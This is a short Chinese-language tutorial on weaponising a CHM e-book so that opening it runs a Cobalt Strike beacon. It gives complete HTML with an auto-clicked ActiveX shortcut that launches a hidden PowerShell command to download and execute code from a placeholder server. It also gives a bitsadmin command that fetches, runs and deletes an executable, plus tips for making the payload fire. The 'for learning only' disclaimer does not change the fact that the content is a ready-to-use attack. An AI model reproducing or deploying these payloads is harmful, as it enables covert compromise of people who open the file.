电子书(chm)-加载JS--CS上线

免责声明:

本文仅做技术交流与学习...

cs--web投递

html(js)代码

html生成chm工具--EasyCHM

1-选择powershell 模式生成

2-选择bitsadmin模式生成

chm反编译成html

cs--web投递

cs配置监听器--->攻击---->web投递--->

端口选择没占用的,

URL路径到时候会在你的服务器自动生成,

选择监听器.

html(js)代码


html><html><head><title>Mousejack replaytitle><head>head><body>
command exec
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=",powershell.exe, -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://IP:PORT/a'))">
<PARAM name="Item2" value="273,1,1">
OBJECT>
<SCRIPT>
x.Click();
SCRIPT>
body>html>

生成后的初始命令：
1、powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://xxx/a'))"
2、cmd.exe /c bitsadmin /transfer 0218 http://xxx:xx/a %APPDATA%\0218.exe&%APPDATA%\0218.exe&del %APPDATA%\0218.exe

要注意三个地方:

(1) value值的第一个为逗号

(2)生成的命令带双引号的话就去掉

(3)调用cmd或powershell程序后面要加逗号